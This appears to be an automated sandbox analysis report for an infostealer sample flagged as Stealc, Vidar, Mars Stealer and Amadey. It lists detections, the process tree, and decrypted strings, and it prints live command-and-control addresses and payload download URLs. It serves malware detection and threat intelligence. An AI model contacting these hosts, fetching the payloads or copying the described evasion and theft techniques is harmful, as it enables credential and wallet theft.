Edit tour

Windows Analysis Report
j7iUba2bki.exe

Overview

General Information

Sample name:	j7iUba2bki.exe renamed because original name is a hash value
Original sample name:	0f8b01fce87324b3c2e7fa5964ae96cf.exe
Analysis ID:	1464139
MD5:	0f8b01fce87324b3c2e7fa5964ae96cf
SHA1:	cd0126cc397c04e8dbc75d488298c2c8b6d4adb2
SHA256:	420a0afef2b1ca0becba2405377ee528cc5d1e6d903eac4e59de97b1ac22ca86
Tags:	32exeStealctrojan
Infos:

Detection

Amadey, Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Amadeys stealer DLL

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has nameless sections

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

j7iUba2bki.exe (PID: 4712 cmdline: "C:\Users\user\Desktop\j7iUba2bki.exe" MD5: 0F8B01FCE87324B3C2E7FA5964AE96CF)

cmd.exe (PID: 892 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

FCFBGIDAEH.exe (PID: 6220 cmdline: "C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe" MD5: D9ED33D1C80ADAF29B8C2A8A14731B07)

explorti.exe (PID: 4228 cmdline: "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe" MD5: D9ED33D1C80ADAF29B8C2A8A14731B07)

8550c65a2f.exe (PID: 7376 cmdline: "C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe" MD5: 0F8B01FCE87324B3C2E7FA5964AE96CF)

cmd.exe (PID: 5664 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\BKJEHCAKFB.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorti.exe (PID: 5912 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: D9ED33D1C80ADAF29B8C2A8A14731B07)

explorti.exe (PID: 7588 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: D9ED33D1C80ADAF29B8C2A8A14731B07)

explorti.exe (PID: 8064 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: D9ED33D1C80ADAF29B8C2A8A14731B07)

explorti.exe (PID: 2624 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: D9ED33D1C80ADAF29B8C2A8A14731B07)

explorti.exe (PID: 7376 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: D9ED33D1C80ADAF29B8C2A8A14731B07)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "85.28.47.4/920475a59bac849d.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.4/920475a59bac849d.php"}

Threatname: Amadey

{"C2 url": ["http://77.91.77.82/Hun4Ko/index.php", "http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000009.00000003.2262869399.0000000004A50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000003.2219609337.0000000004800000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.3326557554.0000000000261000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.2726193892.0000000000261000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.4487082137.0000000000261000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.2306823065.0000000000261000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000003.3286082543.00000000048C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000003.4486056230.0000000004A30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2685932986.0000000005240000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.3889545607.0000000004A30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.2260218850.0000000000031000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.2341495312.000000000142E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2211871328.00000000003E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2211871328.00000000003E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000A.00000003.2266484837.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000002.4487080695.0000000000261000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.2340624918.0000000000301000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000B.00000002.2340624918.0000000000301000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.2215514632.0000000001744000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000002.3930133828.0000000000261000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: j7iUba2bki.exe PID: 4712	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: j7iUba2bki.exe PID: 4712	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: j7iUba2bki.exe PID: 4712	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 8550c65a2f.exe PID: 7376	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author
17.2.explorti.exe.260000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.explorti.exe.260000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.FCFBGIDAEH.exe.30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.explorti.exe.260000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.2.explorti.exe.260000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.explorti.exe.260000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.explorti.exe.260000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.2.8550c65a2f.exe.300000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
11.2.8550c65a2f.exe.300000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.j7iUba2bki.exe.3e0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.j7iUba2bki.exe.3e0000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Click to see the 6 entries

Snort Signatures

ETPRO TROJAN Amadey CnC Activity M3 - Source IP: 192.168.2.5 - Destination IP: 77.91.77.82

Timestamp:	06/28/24-13:36:22.192963
SID:	2856147
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.5 - Destination IP: 85.28.47.4

Timestamp:	06/28/24-13:35:57.457221
SID:	2044246
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.5

Timestamp:	06/28/24-13:35:57.637480
SID:	2051831
Source Port:	80
Destination Port:	49705
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Response M1 - Source IP: 77.91.77.82 - Destination IP: 192.168.2.5

Timestamp:	06/28/24-13:36:23.078426
SID:	2856122
Source Port:	80
Destination Port:	49720
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.5 - Destination IP: 85.28.47.4

Timestamp:	06/28/24-13:35:57.264865
SID:	2044244
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 85.28.47.4

Timestamp:	06/28/24-13:35:56.599132
SID:	2044243
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.5

Timestamp:	06/28/24-13:35:57.445880
SID:	2051828
Source Port:	80
Destination Port:	49705
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: j7iUba2bki.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://77.91.77.81/mine/amadka.exe	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/msvcp140.dll:h	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exe	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exeAm	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exe9	Avira URL Cloud: Label: phishing
Source: http://77.91.77.82/Hun4Ko/index.php	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.php&a	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exera	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exephprefoxox	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/i	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exeOm	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exe00	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.php	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exepData	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/dows	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exe	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exe00	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll:f	Avira URL Cloud: Label: malware
Source: 85.28.47.4/920475a59bac849d.php	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phpc	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/msvcp140.dllfh	Avira URL Cloud: Label: malware
Source: http://85.28.47.4	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/20475a59bac849d.phpCa	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exe50673	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll~B	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.4/920475a59bac849d.php"}
Source: explorti.exe.4228.9.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://77.91.77.82/Hun4Ko/index.php", "http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php"]}
Source: j7iUba2bki.exe.4712.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "85.28.47.4/920475a59bac849d.php"}

Multi AV Scanner detection for domain / URL

Source: http://77.91.77.81/mine/amadka.exe	Virustotal: Detection: 27%	Perma Link
Source: http://77.91.77.81/cost/go.exe	Virustotal: Detection: 27%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll	Virustotal: Detection: 6%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	Virustotal: Detection: 22%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php	Virustotal: Detection: 18%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php-	Virustotal: Detection: 21%	Perma Link
Source: http://85.28.47.4/	Virustotal: Detection: 14%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll	Virustotal: Detection: 9%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll	Virustotal: Detection: 7%	Perma Link
Source: http://77.91.77.81/mine/amadka.exe00	Virustotal: Detection: 25%	Perma Link
Source: http://77.91.77.82/	Virustotal: Detection: 21%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	Virustotal: Detection: 7%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dll	Virustotal: Detection: 6%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/sqlite3.dll	Virustotal: Detection: 21%	Perma Link
Source: http://85.28.47.4/920475a59bac849d.php	Virustotal: Detection: 20%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: j7iUba2bki.exe	ReversingLabs: Detection: 52%
Source: j7iUba2bki.exe	Virustotal: Detection: 41%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: j7iUba2bki.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: lstrcatA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: OpenEventA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: CreateEventA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: CloseHandle
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: Sleep
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: VirtualFree
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: lstrlenA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: ExitProcess
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: user32.dll
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: CreateDCA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: sscanf
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: HAL9TH
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: JohnDoe
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: DISPLAY
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: http://85.28.47.4
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: /920475a59bac849d.php
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: /69934896f997d5bb/
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: default
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GlobalLock
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: HeapFree
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetFileSize
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GlobalSize
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: Process32Next
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: Process32First
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: LocalFree
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: FindClose
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: ReadFile
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: WriteFile
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: CreateFileA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: CopyFileA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GetLastError
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: GlobalFree
Source: 0.2.j7iUba2bki.exe.3e0000.0.unpack	String decryptor: WideCharToMultiByte
